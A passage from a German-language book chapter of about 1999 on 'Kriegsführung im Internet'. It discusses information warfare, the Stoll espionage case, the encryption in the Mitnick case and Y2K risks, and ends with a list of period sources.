Angelegenheit hinweg und verweigerten jegliche Hilfestellung. Stoll begann seine eigenen
Nachforschungen. Was dann folgte, ist mittlerweile das bekannteste Kapitel der Internet-Volkskunde.
Nach Analyse von verknüpften Verbindungen über das Telefonsystem, konnte Stoll den Spion nach
Deutschland zurückverfolgen. Seine Beweise sollten schließlich das FBI, die CIA und den
Bundesnachrichtendienst dazu bringen, die Initiative zu ergreifen. Im März 1989 wurde Clifford Stoll
zugeschrieben, einen Ring deutscher Spione geknackt zu haben, die amerikanische Geheimnisse aus dem
Internet stahlen und an den KGB verkauften. (Eine interessante Bemerkung am Rande: Die deutschen
Spione erhielten für ihre Dienste nicht nur Geld, sondern auch große Mengen Kokain.)
7.5 Die Bedrohung wird persönlicher
Diese Fälle sind faszinierend, geben aber nur einen kleinen Einblick in das, was noch vor uns steht.
Heutzutage eruieren feindliche ausländische Nationen die Möglichkeiten, wie sie das Internet für einen
Angriff nutzen können. Die neue Bedrohung liegt daher nicht nur in simpler Spionage, sondern in
regelrechter Kriegsführung über das Internet. Sind wir dafür bereit? Irgendwie.
Kriegsführung im Internet
file:///d|/cool stuff/old/hack/kap07.htm (4 von 18) [19.04.2000 21:14:26]
Der Begriff Informationskrieg spukt schon seit einigen Jahren durch die Köpfe von Offiziellen der
Verteidigungsbehörden. Neuere Studien besagen, daß die erste reale Informationskriegattacke innerhalb
der nächsten 20 Jahre erfolgen wird. Die meisten feindlichen ausländischen Nationen bereiten sich schon
darauf vor:
Verteidigungsbehörden und Sicherheitsexperten glauben, daß über 120 Nationen Techniken
für einen Informationskrieg entwickeln. Diese Techniken ermöglichen es unseren Feinden,
sensible Datensysteme der Verteidigungsbehörden oder öffentliche Netzwerke, die die
Verteidigungsbehörden unbedingt zu Kommunikationszwecken brauchen, zu kontrollieren
oder zu zerstören. Terroristen und andere Widersacher sind heute dazu in der Lage, nicht
rückführbare Attacken von jedem beliebigen Ort weltweit zu starten. Sie könnten kritische
Systeme, z.B. Waffen-, Befehls- und Kontrollsysteme, mit raffinierten Computerviren
infizieren, die dazu führen, daß die Systeme nicht mehr richtig arbeiten. Ebenso könnten sie
die Kommunikation zwischen unseren Streitkräften abbrechen und unsere Versorgungs- und
Logistiklinien beeinträchtigen, indem sie Schlüsselsysteme der Verteidigungsbehörden
angreifen. Aus: Information Security: Computer Attacks at Department of Defense Pose
Increasing Risks (Testimony, 05/22/96, GAO/T-AIMD-96-92).
Die meisten Richtlinien in bezug auf einen Informationskrieg legen ihren Schwerpunkt auf
Informationskrieg während einer akuten Kriegssituation. Einige Informationskrieg-Spezialisten in den
USA haben jedoch erkannt, daß wir uns nicht unbedingt im Kriegszustand befinden müssen, um
angegriffen zu werden:
Die Vereinigten Staaten sollten erkennen, daß ihre Datensysteme verwundbar für einen
Angriff sind. Sie sollten weiterhin erwarten, daß mögliche Attacken ohne vorherige formelle
Kriegserklärung einer feindlichen Nation realisiert werden. Das ist, was uns im Jahre 2020
oder früher erwartet. (A Theory of Information Warfare; Preparing For 2020. Colonel
Richard Szafranski, USAF. http://www.cdsar.af.mil/apj/ szfran.html.)
Die große Frage ist diese: Wenn sie uns angreifen, was können sie uns tun? Die Antwort wird Sie
möglicherweise überraschen.
Die President's Commission on Critical Infrastructure Protection (eine Kommission für die
Untersuchung von Sicherheitsschwachstellen in nationalen Netzwerken) hat einige Schlüsselressourcen
benannt, die über das Internet angegriffen werden können, darunter:
Information und Kommunikation
Elektrizitätssysteme
Gas- und Öltransport und -lagerung
Bank- und Finanzwesen
Transport
Wasserversorgungssysteme
Notdienste
Regierungsdienste
Im letzten Jahr veröffentlichte die PCCIP einen Bericht mit vorläufigen Ergebnissen. Auch sie schloß,
daß wir ohne Vorwarnung angegriffen werden können:
Kriegsführung im Internet
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Potentiell ernste Cyber-Attacken können ohne erkennbare logistische Vorbereitungen
erdacht und geplant werden. Das Auskundschaften bleibt unsichtbar, die Attacken werden
heimlich geprobt und dann innerhalb von Minuten oder gar Sekunden ausgeführt, ohne daß
die Identität oder der Standort des Angreifers offenbart werden.
Ist die Situation so kritisch? Sie könnte es sein. Es hängt viel davon ab, wer über die nötigen
Technologien verfügt.
7.5.1 Wer hält die Karten in der Hand?
Technologie ist eine seltsame und wunderbare Sache. Abhängig davon, wer sie einsetzt, kann die gleiche
Technologie, die uns Godzilla bringt, auch dazu benutzt werden, Massenvernichtungswaffen zu
entwickeln. Aus diesem Grund wird der Technologietransfer seit fast fünfzig Jahren streng kontrolliert.
Während dieser Zeit haben allerdings kommerzielle Entwicklungen erheblichen Einfluß auf die
Verteilung hochgradiger Technologien genommen. Vor 30 Jahren beispielsweise hielt die amerikanische
Regierung alle Karten in ihrer Hand und der durchschnittliche US-Bürger hatte fast nichts. Heutzutage
hat der durchschnittliche US-Bürger Zugang zu derart fortschrittlichen Technologien, daß seine
Ausrüstung der der Regierung durchaus gleichkommt.
Verschlüsselungstechnologien sind ein gutes Beispiel hierfür. Viele Amerikaner benutzen
Verschlüsselungsprogramme, um ihre privaten Daten vor neugierigen Augen zu schützen. Einige dieser
Verschlüsselungsprogramme (wie Pretty Good Privacy) stellen Militär-Standard-Verschlüsselung zur
Verfügung. Die Verschlüsselung ist ausreichend stark, so daß sie von amerikanischen Geheimdiensten
nicht geknackt werden kann (zumindest nicht innerhalb eines angemessenen Zeitraums und Zeit ist oft
der entscheidende Faktor).
Verschlüsselung hat schon mehrere kriminelle Untersuchungen vereitelt. Zum Beispiel steht der Fall des
berühmten Crackers Kevin Mitnick kurz vor der Gerichtsverhandlung. Die Staatsanwaltschaft hat jedoch
ein Problem: Mitnick hat den größten Teil seiner persönlichen Daten verschlüsselt. David Thomas von
Online Journalism berichtete:
Die verschlüsselten Daten stellten immer noch ein Problem für das Gericht dar. Derzeit
halten Regierungsoffizielle die verschlüsselten Dateien fest und haben keine Ahnung über
ihren Inhalt. Die Verteidigung gibt an, daß die Informationen in diesen Dateien sich als
entlastend herausstellen könnten, aber die Enthüllung der Inhalte gegenüber der Regierung
würde Mitnicks Rechte zur Selbstanzeige im Rahmen des Fifth Amendments verletzen. Die
Staatsanwaltschaft gab weiterhin bekannt, daß sie die verschlüsselten Dateien nicht gegen
Mitnick verwenden wird, daß sie aber eine Rückgabe der Beweismittel verweigert, da sie
nicht wisse, welche Informationen in den Dateien zu finden sind. Das Gericht unterstützte
schließlich die Staatsanwaltschaft. Richter Pfaelzer beschrieb Mitnick als »extrem clever,
daß er alle in diese Position verfrachtet hat«, deutete aber darauf hin, daß »solange wie er
(Mitnick) die Schlüssel in der Hand hält, wird das Gericht nichts in der Hinsicht tun«.
Fortschrittliche Technologien sind jetzt auch für die Öffentlichkeit verfügbar. In vielen Fällen haben
Hacker und Cracker sich diese Technologien vorgenommen und sie verbessert. Währenddessen bewegt
sich die Regierung wesentlich langsamer, behindert durch einschränkende und archaische Richtlinien. So
hat der private Sektor die Regierung in einigen Forschungsgebieten schon eingeholt (in manchen Fällen
Kriegsführung im Internet
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sogar überholt).
Dies ist eine Angelegenheit, die die ganze Nation betrifft und eine heftige Debatte ausgelöst hat. Denken
Sie an den Mitnick-Fall. Glauben Sie, daß die Regierung ein Recht auf Mitnicks
Kryptographie-Schlüssel hat, um herauszufinden, was sich in diesen Dateien verbirgt?
Es gibt jetzt allerdings noch eine wichtigere Frage: Inwieweit beeinflußt die Verfügbarkeit
fortschrittlicher Technologien unsere Bereitschaft für eine Internet-Attacke?
7.5.2 Kann Amerika seine nationalen IT-Infrastrukturen schützen?
Vom militärischen Standpunkt aus gesehen sind die USA wohl jeder Nation der Erde weit überlegen.
Allerdings kann man dies in bezug auf einen Informationskrieg nicht sagen.
Die Einführung moderner Minicomputer hat das Gleichgewicht der Kräfte auf immer geändert. Der
durchschnittliche Pentium-Prozessor ist mächtiger, als viele Großrechner es vor fünf Jahren waren (und
er ist sicher wesentlich schneller). Nehmen Sie die Portierungsfunktionen eines hochleistungsfähigen
Unix-basierten Betriebssystems und eine IBM-Plattform, und Sie haben eine neue Umgebung.
Eine Nation der Dritten Welt könnte theoretisch eine Bedrohung für unsere nationalen IT-
Infrastrukturen darstellen. Mit modernen Microcomputern (und einigen High-Speed-Verbindungen)
könnte eine solche Nation eine erfolgreiche Informationskriegskampagne gegen Amerika führen, die
durchaus innerhalb ihrer finanziellen Möglichkeiten läge. Ernstzunehmender Cyber-Terrorismus wird
sicherlich innerhalb der nächsten Jahre entstehen.
Außerdem bedroht die reine Existenz fortschrittlicher Technologien unsere militärische Zukunft in der
»realen« Welt. Nationen wie Rußland und China haben sich auf militärischem Gebiet langsamer
entwickelt, weil ihnen diese Technologien nicht zur Verfügung standen. Ihre Raketen sind weniger
zuverlässig, weil ihre Technologiebasis weniger weit entwickelt war. Amerikas Verteidigungsprogramm
war derart fortgeschritten, daß selbst im Fall von Konzessionen in bezug auf den Rüstungswettlauf es
tatsächlich gar keine Konzessionen gab. Ein Beipiel: Die USA erklärten sich erst dann mit der Aufgabe
nuklearer Testläufe einverstanden, als sie die Technologie entwickelt hatten, die Tests mit Hilfe von
Computer-Modellierung durchzuführen.
In dem Maß, in dem feindliche Nationen bessere Computer-Technologien erwerben, verbessern sich
auch ihre Waffen - aber es sind nicht nur Waffen, die zählen. Es ist die Kombination aus Waffen,
Kommunikation und Information, die den Unterschied zwischen den Kräften ausmacht. Wenn feindliche
Nationen es schaffen, unsere Informationen zu ändern oder uns den Zugang zu ihnen zu versperren,
können sie einen erheblichen taktischen militärischen Vorteil erreichen. Dies könnte Mankos auf anderen
Gebieten wieder wettmachen. Shane D. Deichmann erklärt in seinem Bericht »On Information War«:
Ein Schlüsselelement des Informationskriegsszenarios ist, daß die Teilnehmer keinen Status
als Super-Macht besitzen müssen. Jegliche Macht (sogar eine, die nicht als Nationenstaat
anerkannt ist) kann mit einem Minimum an Technologie anfällige C2- Netzwerke
unterbrechen und kritische Informationsdienste verweigern. Im Gegensatz zu einer
»Informationskontrollstrategie«, die darauf abzielt, alle Segmente eines
Informationsspektrums zu kontrollieren, ist eine realistischere Strategie für US-Steitkräfte
die »Informationsverweigerung« (d.h. die Zugangsverweigerung zu wichtigen
Kriegsführung im Internet
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Informationen).
7.6 Wie wird ein Informationskriegsangriff
aussehen?
Es hat noch keinen Informationskrieg gegeben. Daher ist es schwer zu sagen, wie einer durchgeführt
werden könnte. Die Verantwortlichen der Militärs sind nicht bereit, Einzelheiten bekanntzugeben. Daher
müssen wir spekulieren, wie es schon viele Denkfabriken vor uns getan haben.
Spezialisten der Rand Corporation z.B. haben sich bereits einige Gedanken zu dem Thema gemacht. Sie
haben einen Bericht herausgegeben, der verschiedene Fragen zur Bereitschaft der USA stellt und einige
Empfehlungen für ein intensives Beschäftigen mit dem Thema gibt:
Wir schlagen analytische Übungen vor, um zu bestimmen, wie Cyberkrieg und seine
verschiedenen Modalitäten im 21. Jahrhundert aussehen könnten, wenn moderne
Technologien weiter entwickelt, zuverlässiger und noch umfangreicher an das Internet
gekoppelt sein werden als heute. Diese Übungen sollten Gegner berücksichtigen, die den
USA sowohl in leichten als auch schweren Konflikten gegenüberstehen könnten. DER
CYBERKRIEG WIRD KOMMEN!1
Es ist nicht weiter überraschend, daß Militär- und Geheimdienstanalytiker durch das reine Verstehen der
Arbeitsweise des Internet (und durch Beobachtung des Benutzerverhaltens der Amerikaner) sehr viel
lernen.
Ein großer Teil der gegenwärtigen Forschungsarbeiten zielt auf eine Definition der möglichen
Bedrohungen, die das Internet für politische Strukturen darstellt. Charles Swett, ein Assistent für
Strategische Bewertung im Pentagon, hat einige Fortschritte auf dem Gebiet gemacht. Er hat einen
Report (Strategic Assessment: The Internet) veröffentlicht, in dem er ausführt, wie das Internet die
amerikanische Innenpolitik beeinflussen wird. Er legt dar, daß spezielle Gruppen das Internet für eine
gruppeninterne Vernetzung benutzen können, und gibt ein besonderes Beispiel:
Ein anderes, etwas überraschendes Beispiel ist eine Nachricht, die am 16. Dezember 1994
ins Internet gesetzt wurde und zu landesweiten Protesten gegen den Vertrag der
Republikanischen Partei mit Amerika aufrief. In der Nachricht hieß es, daß der Vertrag mit
Amerika im Effekt ein Klassen-, Rassen-, Geschlechter- und Generationenkrieg sei und daß
die Empfänger dieser Nachricht »Tausende von Demonstrationen in den Gemeinden im
ganzen Land mobilisieren«, »die Gefängnisse durch das Ausüben ziviler Ungehorsamkeit
füllen« und an anderen störenden Aktionen teilnehmen sollten.
Swett sagt voraus, daß dies letztlich zu innenpolitischen Bedrohungen führen wird. Er denkt jedoch auch,
daß diese Gruppen wiederum ihrerseits anfällig für Angriffe sind:
Politische Gruppen, deren Aktivitäten durch das Internet koordiniert werden, sind anfällig
für Störungen dieser Aktivitäten durch falsche Nachrichten, die ihnen von gegnerischen
Gruppen zugespielt werden.
Mr. Swett liegt richtiger als er denkt. Was er beschreibt, ist bereits passiert. In den vergangenen Jahren
Kriegsführung im Internet
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sind im Usenet mehrere Kriege zwischen Scientologen und ihren Gegnern ausgebrochen. Diese Kriege
wurden von einigen ziemlich rätselhaften Ereignissen begleitet. In einer Phase einer besonders heftigen
Auseinandersetzung, als die Scientologen schon von ihren Gegnern überwältigt schienen, passierte eine
merkwürdige Sache:
Gegen Ende des Jahres 1994 begannen Postings von alt.religion.scientology zu
verschwinden, manchmal mit der Erklärung, daß das Posting »wegen
Copyright-Verletzungen gelöscht werden mußte«. Bis heute ist es nicht klar, wer hinter der
Ausführung dieser »Cancelbots« - so werden die Löschautomaten genannt - steckt. Die
Church of Scientology wies jegliche Verantwortung von sich. Die Anti-Scientologen
begannen, den anonymen Teilnehmer als »Cancelbunny« zu bezeichnen, ein ironischer
Bezug sowohl zu dem hüpfenden Hasen aus der bekannten Batterien-Werbung als auch zu
dem bekannten Netzbewohner »Cancelmoose«, der (das?, die?) es zu seiner Aufgabe
gemacht hat, einen »cancelbot«-Prozeß aufzubauen, der bei anderen Spam- Aktionen im
Internet zum Einsatz kommen soll. Aber wer oder was auch immer der »Cancelbunny« sein
mag, seine Bemühungen wurden schnell pariert durch die Entwicklung einer anderen
Software-Waffe mit dem treffenden Namen »Lazarus«. Lazarus stellt gelöschte Nachrichten
wieder her, oder, genauer gesagt, macht den Original-Absender und alle Teilnehmer einer
Newsgroup darauf aufmerksam, daß eine bestimmte Nachricht gelöscht wurde. Es bleibt
dem Absender belassen, die Nachricht wiederherzustellen, wenn der Löschbefehl nicht von
ihm oder ihr ausgegangen war.2
Swett schließt seinen Bericht mit mehreren Beobachtungen in Hinsicht auf eine Überwachung des
allgemeinen Internet-Verkehrs auf einer großangelegten Basis:
Die Überwachung dieses Verkehrs müßte durch automatische Filter unterstützt werden, die
nur solche Nachrichten zur menschlichen Analyse durchlassen, die gewissen
Relevanzkriterien entsprechen.
Was Swett hier beschreibt (obwohl er es vielleicht nicht realisiert hat), ist ein komplexes und
automatisiertes innenpolitisches Geheimdienstsystem. In anderen Worten, willkommen in 1984. Aller
Wahrscheinlichkeit nach werden die ersten Versuche, das Internet zur Sicherung und Formung
politischer Überzeugungen zu nutzen, an unser eigenes Volk gerichtet sein.
Das alles betrifft einen theoretischen innenpolitischen Informationskrieg. Aber was ist mit dem
eigentlichen Internet-Krieg? Was sind mögliche Ziele? Die Rand Corporation weiß auch hier eine
Antwort. In ihrem Bericht »Information Warfare: A Two-Edged Sword« schreiben Rand-Spezialisten:
Der Informationskrieg hat keine Fronten. Potentielle Schlachtfelder sind überall dort, wo
Zugang zu vernetzten Systemen ermöglicht wird - z.B. Öl- und Gaspipelines,
Stromleitungsnetze, Telefonschaltnetzwerke. Zusammengefaßt stellt Amerika kein
Schutzgebiet für Angriffe von außen mehr dar. http://www.rand.org/publications/
RRR/RRR.fall95.cyber/infor_war.html
In ihrem Bericht beschreiben die Autoren einen imaginären Angriff in nicht allzuferner Zukunft. Sie
sagen die folgenden Ereignisse voraus:
Stundenlange Ausfälle der Strom- und Telefonsysteme
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Entgleisungen oder Zusammenstöße von Fracht- und Personenzügen
Brennende Erdölraffinerien
Zusammenbrechen des gesamten Finanzwesens
Strategische Schläge durch gutorganisierte inländische Extremisten
Versagen der computergesteuerten Waffensysteme
Experten denken, daß dies innerhalb von Stunden passieren könnte. Das ist ein entsetzlicher Gedanke. Ist
es möglich? Sind wir wirklich so abhängig von Technologien oder wollen unsere Regierungsbehörden
nur Geld von uns?
Die Wahrheit ist, daß wir tatsächlich von Technologien abhängen. Um Ihnen eine Ahnung zu geben, in
welchem Maße diese Abhängigkeit besteht, lassen Sie uns einen kurzen Blick auf Y2K werfen.
Y2K - Das Jahr-2000-Problem
Der Begriff Y2K bezieht sich auf das Jahr-2000-Problem, das Ihr Leben direkt beeinflussen kann. Kurz
gesagt ist das Problem folgendes: Ältere Software und Firmware stellen Datumsangaben in
sechsstelligem Format dar, z.B. 01.01.98. In den letzten dreißig Jahren war dies kein Problem. Wenn wir
jedoch den 1. Januar 2000 erreichen, könnte es ein Problem werden. Weil Datumsangaben nur in
sechsstelligem Format dargestellt werden können, wird der 1. Januar 2000 als 1. Januar 1900 interpretiert
werden (01.01.00). Dies wird zur Folge haben, daß viele betroffene Rechner und Programme nicht mehr
richtig arbeiten.
Viele Leute gehen über dieses Problem hinweg. Sie sagen, daß sie am 01.01.2000 einfach neu booten
und die Datumsangabe des Systems ändern werden und die Sache sei erledigt. Dies mag eine praktische
Lösung für PC-Benutzer sein. Zwar bilden PCs die größte Gruppe von Computern, aber sie sind auch die
unwichtigsten. Viele große und kritische Unternehmen benutzen ältere Hardware, darunter ältere
Großrechner. Wenn diese Rechner nicht mehr funktionieren, sind Tausende von Menschen betroffen. Die
Mitre Corporation erklärt, daß es einen solchen Fall schon einmal gab. Uralte IBM-Großrechner litten
unter einem ähnlichen Fehler:
Nur wenige Leute realisierten, daß der IBM 360 Daten nach dem 31. Dezember 1969 nicht
verarbeiten konnte, bis 360s überall in Europa ihre Arbeitsabläufe um Mitternacht Ortszeit
einstellten. Als die Ausfälle sich Zeitzone für Zeitzone auf der ganzen Welt fortsetzten,
erkannte IBM das Problem und war in der Lage, seinen amerikanischen und asiatischen
Kunden eine vorübergehende Lösung zu bieten, indem sie ihnen sagten, sie sollten ihren
Computern ein falsches Datum vorlügen. In der Zwischenzeit machte IBM sich daran, eine
längerfristigere Lösung für das Problem zu finden.
(http://www.mitre.org/research/y2k/docs/PROB.html)
IBM war in diesem Fall einfallsreich genug, aber die vorübergehende Lösung würde heutzutage
wahrscheinlich nicht funktionieren. Viele interne Funktionen modernerer Rechner nutzen die
Zeitangaben, um Werte aktuell zu kalkulieren. Sogar einfache Buchhaltungspakete benutzen die
Datumsangabe.
Die größte Auswirkung wird Y2K jedoch auf solche Systeme haben, bei denen man es am wenigsten
erwartet, darunter solche, die auf eingebauten Chip-Technologien basieren. Hier ein paar
Kriegsführung im Internet
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wahrscheinliche Opfer:
Alarm- und Sicherheitssysteme
Ältere Kraftfahrzeuge
Telefonschaltanlagen
Safes und Tresore mit Zeitschlössern (Banken)
Medizinische Geräte
Luftverkehr-Kontrollsysteme
Ältere Satellitensysteme (besonders Support-Software)
Heizungssysteme
Diese Systeme sind wichtig, aber leider ist es wenig wahrscheinlich, daß sie den Y2K- Anforderungen
entsprechend umgestellt werden. Unternehmen, die derartige Geräte herstellen, produzieren die Chips
gewöhnlich nicht selbst und die Kosten für eine Y2K-Umstellung sind erheblich. Sicherlich werden
Heizsysteme- oder Kühlsysteme-Hersteller keine Millionen investieren, um ihre Systeme anzupassen.
Tatsächlich zeigen einige Umfragen, daß viele dieser Unternehmen nicht einmal wissen, daß ihre
Produkte vom Jahr-2000-Problem betroffen sind.
Die amerikanische Regierung hat versucht, andere Nationen von der Bedeutsamkeit des
Jahr-2000-Problems zu überzeugen, was sich als recht schwierig erwies. Rußland beispielsweise scheint
sich von Y2K nicht beeindrucken zu lassen. In einem aktuellen Dialog mit den Vereinigten Staaten
erklärten russische Offizielle, daß ihr Problem im Vergleich zu Amerika relativ klein sei. In einigen
Aspekten ist dies sicher wahr, da russische Computersysteme anders konzipiert sind.
Die amerikanische Regierung will sich keine Unachtsamkeit vorwerfen lassen. Mehrere amerikanische
Regierungsbehörden bereiten sich schon auf eine Y2K-Katastrophe vor. Tatsächlich wurde kürzlich ein
Memo im CIA-Hauptquartier in Umlauf gesetzt, in dem vor einem Ausfall der Aufzugsysteme gewarnt
wird. CIA-Angestellten wurde daher geraten, vom 31. Dezember 1999 an auf die Benutzung der Aufzüge
zu verzichten.
Hinweis:
Viele Aufzugsysteme arbeiten mit einem integrierten Kalender. In Wolkenkratzern beispielsweise, in
denen Banken (oder andere kritische Unternehmen) ihr Domizil haben, können bestimmte Stockwerke
nur an Wochentagen oder sogar nur zu bestimmten Stunden betreten werden. Stellen Sie sich vor, Sie
wären zwei Tage lang in einem Aufzug eingesperrt!
CIA-Angestellten wurde ebenfalls empfohlen, ihre Rechnungen drei Monate im voraus zu bezahlen, sich
zusätzliche Bettdecken zu besorgen (es wird kalt in Virginia) und sich einen Vorrat an Wasser und
Konserven zuzulegen. Der Geheimdienst nimmt Y2K offensichtlich sehr ernst und das ist gut so: Es gibt
noch einen Haufen verwundbarer Systeme, die bisher gar nicht in Betracht gezogen wurden.
Electronic Data Interchange (EDI) ist ein Bereich, der Grund zur Sorge bietet. EDI wird in vielen
Regierungsbereichen eingesetzt, um gewisse Arbeitsabläufe zu automatisieren. Bei herkömmlichen
Computeraufgaben interagiert ein Mensch mit einem Computer, um eine Arbeit abzuschließen. Bei EDI
interagieren Computer mit Computern und bearbeiten Transaktionen und Registrierungen ohne
menschliche Beteiligung. So gibt es z.B. Programme, die den Beschaffungsprozeß bundesweit
Kriegsführung im Internet
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automatisieren. Experten vermuten, daß viele EDI- Applikationen betroffen sein werden.
Sogar Finanzsysteme für Endverbraucher könnten ausfallen. Die New York Times berichtete kürzlich,
daß American Express Dutzende Angestellte zu Testläufen mit Amex-Karten losschickte, die
Verfallsdaten nach dem 1. Januar 2000 hatten. Die Ergebnisse waren nicht gut. Visa andererseits stellte
etwa 12 Millionen Nach-2.000-Karten aus und mußte alle wieder zurückverlangen. Händler haben keine
Y2K-konformen Kreditkartenleser und so konnten die Karten nicht belastet werden.
Auch Geldautomaten-Netzwerke werden wahrscheinlich ausfallen (nicht, weil die Software nicht
Y2K-konform ist, sondern aus Gründen der Transport-Technologie). Die meisten sind durch
Frame-Relay-Systeme miteinander verbunden. Es gibt noch mehr als 20 Router auf dem Markt, die nicht
Y2K-konform sind. (Viele Geldautomaten-Netzwerke benutzen sowieso ältere Router, die definitv nicht
Y2K-konform sind.)
Kreditkarten- und Geldautomatentransaktionen sind jedoch nur kleine Fische. Größere
Banktransaktionen werden bereits jetzt vom Jahr-2000-Problem nachteilig beeinflußt. Offizielle der
amerikanischen Banken warnten kürzlich, daß bestimmte internationale Transaktionen verworfen
werden, wenn ausländische Banken den Y2K-Vorgaben nicht entsprechen. Dies könnte verheerende
Auswirkungen auf die internationale Banken-Gemeinde haben.
Es gibt sogar Berichte, die behaupten, daß Y2K die Lebensmittelversorgung beeinträchtigen könnte. Eine
aktuelle Analyse des Agrarsektors ergab, daß verschiedene Phasen des Herstellungs-, Lagerungs- und
Lieferungsprozesses direkt von Y2K betroffen sind.
Das Jahr-2000-Problem mag nicht so schwerwiegend sein wie es aussieht. Es zeigt jedoch, in welchem
Maße wir alle von Computertechnologien abhängen. Wenn eine gut organisierte Cyber-Attacke auf
wichtige Informationssysteme ausgeführt würde, müßten wir alle einer Katastrophe entgegensehen.
7.7 Die unmittelbare Zukunft
Die Zukunft des Internet-Kriegs ist ungewiß, aber das könnte sich in einem einzigen Augenblick ändern.
Täglich werden neue Cracking-Tools und Computerviren entwickelt, die einst Spielzeuge für Hacker und
Cracker waren und jetzt bedrohliche Waffen darstellen.
Es gibt einige Schlüssel-Strategien innerhalb eines Informationskriegs, von denen zwei eine besonders
große Wirkung haben:
Die Verweigerung von Computerdiensten für das angegriffene Ziel
Die Zerstörung der Computersysteme am angegriffenen Ziel
Moderne Denial-of-Service-Attacken und Computerviren werden wohl die Basis für ein zukünftiges
Waffenarsenal eines Informationskriegs bilden. Wenn man in Betracht zieht, daß sich jeder von jedem
beliebigen Ort diese Waffen verschaffen kann, sie innerhalb von Minuten kompilieren und »abfeuern«
kann, sieht die unmittelbare Zukunft recht angsteinflößend aus.
Kriegsführung im Internet
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7.8 Zusammenfassung
Was ist die Moral dieses Kapitels? Das Geld aus der Bank nehmen und auswandern? Wahrscheinlich
nicht (obwohl ich einige Leute kenne, die genau das tun). Wenn Sie in starkem Maße von
Computertechnologie abhängen, sollten Sie sich auf alle Fälle Sorgen machen. Es ist nun mal so, daß die
Leute am wenigsten von Y2K betroffen sind, die überhaupt keine Computer benutzen.
7.9 Informationsquellen zum Thema
Informationskrieg
Die folgenden Dokumente konzentrieren sich auf das Internet und den Informationskrieg. Die meisten
wurden von Leuten geschrieben, die sich heute aktiv an der INFOWAR-Forschung beteiligen:
An Analysis Of Security Incidents On The Internet. John D. Howard. http://www.cert.org/
research/JHThesis/index.html.
An Introduction To Information Warfare. Reto Haeni. http://www.seas.gwu.edu/student/
reto/infowar/info-war.html.
Battlefield of the Future: 21st Century Warfare Issues. Air Chronicles (United States Air Force
Publication. Verschiedene Autoren.) http://www.cdsar.af.mil/battle/bftoc.html.
Cyber War is Coming! John Arquilla und David Ronfeldt; International Policy Department bei RAND.
gopher://gopher.well.sf.ca.us:70/00/Military/cyberwar.
Cyberwar and Netwar: New Modes, Old Concepts, of Conflict. John Arquilla und David Ronfeldt;
International Policy Department bei RAND. http://www.rand.org/publications/
RRR/RRR.fall95.cyber/cyberwar.html.
Defending Cyberspace and Other Metaphors. Martin C. Libicki. http://www.ndu.edu:80/
ndu/inss/actpubs/dcom/dcomcont.html.
Defensive Information Warfare. David S. Alberts. http://www.ndu.edu:80/ndu/inss/books/
diw/index.html.
Defining Information Power. Dan Kuehl. http://www.ndu.edu/ndu/inss/strforum/ forum115.html
DOD Adds Attack Capability to Infowar. Federal Information Week. Bob Brewin und Heather Harreld.
http://www.idg.net/idg_frames/english/content.cgi?vc=docid_0- 77788.html.
Foreign Information Warfare Programs and Capabilities. John M. Deutch, Director of Central
Intelligence. http://www.odci.gov/cia/public_affairs/speeches/archives/1996/
dci_testimony_062596.html.
From InfoWar to Knowledge Warfare: Preparing for the Paradigm Shift. Philippe Baumard.
http://www.indigo-net.com/annexes/289/baumard.htm.
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Induced Fragility in Information Age Warfare. Bruce W. Fowler und Donald R. Peterson.
http://lionhrtpub.com/orms/orms-4-97/warfare.html.
Information Security: Computer Attacks at Department of Defense Pose Increasing Risks.u.S.
Government Accounting Office.
http://www.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=gao&docid=f:ai96084.txt .
Information War-Cyberwar-Netwar. George J. Stein. http://www.cdsar.af.mil/battle/ chp6.html.
Information War and the Air Force: Wave of the Future? Current Fad? Glenn Buchan.
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Information Warfare. Robert Garigue. http://www.ee.ryerson.ca:8080/~mkuchta/formis/
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Information Warfare: Impacts and Concerns. Col. James W. McLendon, USAF. http://
www.cdsar.af.mil/battle/chp7.html.
Information Warfare: Same Wine, Different Bottle? Lt. Kurt Konopatzke, USAF. http://
www.cdsar.af.mil/cc/iw2.html.
Intelligence-Based Threat Assessments for Information Networks and Infrastructures. Kent Anderson
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Network-Centric Warfare: Its Origin and Future. Vice Admiral Arthur K. Cebrowski, U.S. Navy und
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New-Era Warfare. General Charles A. Horner, USAF. http://www.cdsar.af.mil/battle/ chp2.html.
On Twenty-First Century Warfare. Lawrence E. Grinter und Barry R. Schneider. http://
www.cdsar.af.mil/battle/chp11.html.
Political Aspects of Class III Information Warfare: Global Conflict and Terrorism. Matthew G. Devost.
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http://www.mnsinc.com/mdevost/montreal.html.
Principles of War for the Battlefield of the Future. Barry R. Schneider. http://
www.cdsar.af.mil/battle/chp1.html.
The Digital Threat: United States National Security and Computers. Matthew G. Devost.
http://www.mnsinc.com/mdevost/hackers4.html.
The International Legal Implications of Information Warfare. Richard W. Aldrich, USAF.
http://www.cdsar.af.mil/apj/aldricha.html.
The Low-Tech Side of Information Warfare. Capt. Alex Berger, USAF. http://
www.cdsar.af.mil/cc/berger.html.
The Revolution in Military Affairs. Jeffrey McKitrick, James Blackwell, Fred Littlepage, George Kraus,
Richard Blanchfield und Dale Hill. http://www.cdsar.af.mil/battle/ chp3.html.
The Silicon Spear. An Assessment Of Information Based Warfare (IBW) and U.S. National Security.
Charles B. Everett, Moss Dewindt und Shane McDade. http://www.ndu.edu/ndu/ inss/siws/ch2.html.
The Unintended Consequences of Information Age Technologies. David S. Alberts. http://
www.ndu.edu/ndu/inss/books/uc/uchome.html.
Threat Assessment of Malicious Code and Human Computer Threats. Lawrence E. Bassham und W.
Timothy Polk; National Institute of Standards and Technology. http://
bilbo.isu.edu/security/isl/threat.html.
Bücher zum Thema Informationskrieg
Information Warfare: Chaos on the Electronic Superhighway. Winn Schwartau. (Engagierter
INFOWAR-Titel des Betreibers von http://www.infowar.com.) 1996. ISBN: 1560251328.
Strategic Information Warfare: A New Face of War. Roger C. Molander, Andrew S. Riddile und Peter A.
Wilson. 1996. ISBN: 0833023527.
The Military Technical Revolution: A Structural Framework. Mazarr, M. J. 1993. ISBN: 0892062185.
The Advent of Netwar. John Arquilla und David Ronfeldt. 1996. ISBN: 0833024140.
Cyberwar: Security, Strategy, and Conflict in the Information Age. R. Thomas Goodden. 1996. ISBN:
0916159264.
Defensive Information Warfare. David S. Alberts. 1996. ISBN: 9996007928.
The First Information War: The Story of Communications, Computers, and Intelligence Systems in the
Persian Gulf War. Alan D. Campen. 1992. ISBN: 0916159248.
Information Warfare: How Computers Are Fighting the New World Wars. James Adams. 1998. ISBN:
0684834529.
Kriegsführung im Internet
